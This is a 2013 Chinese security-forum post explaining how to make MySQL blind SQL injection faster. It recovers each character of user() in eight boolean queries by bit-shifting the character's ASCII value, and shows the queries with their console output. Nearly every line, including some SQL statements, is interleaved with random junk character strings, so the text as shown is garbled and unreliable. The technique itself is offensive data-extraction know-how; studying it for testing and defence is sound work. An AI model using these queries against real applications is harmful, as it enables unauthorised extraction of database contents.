找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2053|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位# G! D1 K0 h( h" A, K4 n8 h" A

5 J% C: D7 W; Z
! b4 p) d: u$ H% L8 a: s: s8 [
" R3 i! r7 Q  B, C0 x# [' V下面将以查询mysql数据库当中user()的第一位为例:6 s; K+ Q* R( y6 V

& l8 ^$ _. S+ u$ ~6 w3 \
! A% ~0 j) X# @# [. Q3 Z
2 x. v( y4 k- I: Fps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)% }- h7 @( V3 y9 U  x$ P
! s! A  s$ O! R* i, P* `

; L% n0 M, ^' b7 Y0 A
( d; M( ]# c/ {( r3 L; p首先执行如下sql语句:0 S2 |7 U+ D: {
! N6 t8 E8 u6 B

. }2 y5 u$ O  U0 Y- ?: ~* {# ]# n' x7 o& U# W
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
$ F! R8 s. v( u" a8 \
4 U. v2 Z( t* E$ s
- {7 P0 S; Y8 x7 O; a4 D
2 R5 S+ d+ f' w" o我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
+ Y7 b: t0 o: C+ t2 i0 B
) Q# t' {+ c  s& D  h, ~
+ S/ ^; C: m% [& \0 L$ W3 Z; H6 ]0 H/ t3 Z4 o: q4 g
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为13 |* G$ c9 Q& d+ x4 ~3 u$ V2 j

; I5 ^/ j. G/ M4 z ) ]* j6 h8 z  S% }" ^# V( b. C

) a8 ?2 }7 ]4 {如果运算结果为1,说明第一位为0,不为1. i" ?: L2 A" D, y& J4 O+ g3 t3 \

' L3 R4 D; E2 w: K+ O ; u: S/ k5 G, @2 G* `1 {/ b. P/ _+ m

6 ^- ~. c" ]  r- F+————————————–+
+ R( m' [: U: c  |: J* x
6 H7 C; J9 p7 C" J| (ascii((substr(user(),1,1))) >> 7)=0 |1 X7 A2 ~3 C  g( V, c; r- `

* `$ ^3 |; v2 |/ i* x& P+————————————–+! Y8 T/ F2 }- \2 F

) k7 _- N- Y8 w  z( g3 z! C( c| 1 |
% m5 N! S3 q, E5 \, X+ E' Y0 k* N3 U2 j  [( C
+————————————–+
6 ?% h/ W! r% j! y
4 e# V: @$ w3 Y% M1 row in set (0.00 sec)6 n! S! d& ^" c% P7 \. Z& a, @
) z  J. F1 E3 i8 b' z+ O
这样我们就确定这个8bit的ascii的第一位为09 O" }/ `& S2 p1 I# N; {2 g
, U5 f: y+ `/ A
& n* j: q3 X$ g% e

7 H- G. Z4 l) W第二次我们来做6次右偏移来确定前两位
. Z1 c( l8 K5 v3 l/ r; g; s! x- A. E* C7 X: H( ]. u# M
4 t9 T1 ~! M+ T. A7 x- ~
5 e" c6 w5 d# j+ H  V3 T
前两位可能是01或00,即依然可以与0做比较,  |7 l) C$ w7 x4 A; |4 C7 T
  P2 D  i, I9 A- n1 C
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;" q) p' F5 Y2 n* U$ }; p
1 v2 ~3 I- g2 O$ N
+————————————–+
7 n( a  h3 O; m' D, G" M2 Q0 s( t! y5 \" z6 z
| (ascii((substr(user(),1,1))) >> 6)=0 |
* W6 K: V: V5 I8 z/ J, V* r; T- _) p* h( J  Q7 c  h3 d
+————————————–+
6 b- ]6 E; U1 B8 X2 R& h. i3 W  D! h2 v9 z4 o- |3 Z
| 0 |
8 Q0 d5 ?* W/ L- r% ?* g
$ ~' G& j. {8 f7 }. w+————————————–+) g6 @8 R1 y" _; V5 _

1 O7 G( o2 n; e  T1 row in set (0.00 sec), {& h; s/ }+ g8 _% ^. p* h. j) }
$ q5 \% e" P) U3 l9 f

5 y) |- P: f9 J; B9 Q$ {7 i
( u, X2 b) ]6 T( O  H, [, ?7 B. w结果为0,即第二位为1
5 u5 h, l( X# `' n* |
$ _" C: V6 N9 r* @+ [ # C4 p  n* H/ N! z. T) d
# o  B' }4 h9 u" ], H8 P6 r8 e
开始猜测前三位为010或011
3 D/ ]0 }  Y! w5 {5 Y
1 v& f  K, a& A' L- h" W $ e, s" u7 F4 b+ Q& I- m# C$ `

! O+ t: p. E* W1 j- C$ n3 d让我们看看010和011的ascii码是多少
2 v) k0 E! L! f7 R' p% T+ y5 V: {8 Y. z* R2 ~' b

3 K$ r. \* c3 C5 x- g4 j! H; U6 k) g9 @
分别查询select b’011′ select b’010′
) I1 G. H* J. N, U0 M9 m& z( e+ K/ {! V; e5 T& B+ Y: _8 W. t2 K) m- y2 Z

/ ~, g' O- z2 A& g* X4 T
  b) o8 \/ Z  j, B7 o' B获得结果 010 = 2 011 = 3, d! k! {0 F. G
) L' _; T# s5 y9 F; B
% E5 u' ~7 z0 t6 _6 y/ Q- c$ Y

# ^0 e/ M. y: F% L) ]; c执行如下sql:
  v# M* _8 c) M- [! X- v
. I, v0 v3 p( J2 V & W5 o+ T3 U) F( l% z
1 K/ X  m9 G7 l
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;; d/ q9 q* ?8 X7 v2 e
; r* ]# n$ P: K9 ~* L* s6 |9 G2 P  i
+————————————–+7 p: t& }9 x% f2 M# a. F5 b
$ W: F; t1 E" ]8 \$ V
| (ascii((substr(user(),1,1))) >> 5)=2 |  A0 W9 z8 F' Z9 J+ }* c

) E9 _" N- Y; P+————————————–+: {2 f$ |, z! Z& G% d6 [
/ Z& d6 J) V. d$ h( t) v7 c
| 0 |8 M% |$ u/ N3 t# ^# |

5 [7 T: l1 S* a- O/ H8 D+————————————–+7 P5 k$ E' d6 N8 W

! C$ z$ |7 T' |; E即前三位不为010,而是011
2 S! f- I" g( v4 @
. a5 p; j% V  [ ) `8 S1 t/ `& V  K) C8 Y

, c% d& ]* u% ]& l. w) B直到获得最后一位
% `/ Z4 e' y3 {: T" I
$ [3 K. @6 }+ @: d / S: R  z9 f) w. f

. W% ?; r, O. e" L( D最终结果为:01110010  ]  ^8 h9 z5 B! w9 z( n
2 Y' b" e& C8 i3 w. O" r  L6 `/ u% c
0 U! N* K. C. i3 i

) {! d! K, E( M, g转换一下:' a; j7 S, [* f3 S0 G

- [: O7 v! G" u: l: l4 l
& H: l4 X  {  {  i( [9 @/ W5 i: T0 H
select b’01110010′" S3 V( e  I; i1 f( z. I) h. w

0 o) Q  Z" v% _5 |' M
) m6 H4 n$ x1 `1 r9 x- }, s
; t; ~0 b' h- m8 J查询结果
  [* a9 B+ G0 k0 E- X8 L1 N$ s7 y% X( G! r5 ~: B6 I% {
- U4 C2 T; {2 B+ d7 u' r* v
* d9 {- r7 e3 B* e5 }$ Y; U
+————-+
" Q  I  I; W1 a
) N% U3 d! m6 i4 p| b’01110010′ |8 \) n" t, r  m: A4 {

1 W" j. O" \4 _: I- V: ]0 L+————-+
2 D( R1 W9 m" A% J0 `' d
" w- z7 Z) O. f# c, V, ^| r |- g0 ]( w% _" ~% T, Y7 a8 b+ H; L
4 D1 a' i9 g; U5 z2 \0 N
+————-+) A# o0 S6 y* p3 P* j2 [( Q/ v

* c: S$ g; C8 ~4 i1 row in set (0.00 sec)
) e& [* C0 Y- q" o9 f& Z$ _; s6 B& }4 n1 k

6 O7 c$ G! f" v( W+ I* |1 p, F; g) I1 [% _9 v- J4 e/ }
这样我们就获得了user()的第一位.其它位依此类推5 B# ]% E9 r1 }7 Q6 d2 \
$ y2 Z, g6 ]  N% I2 j* `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表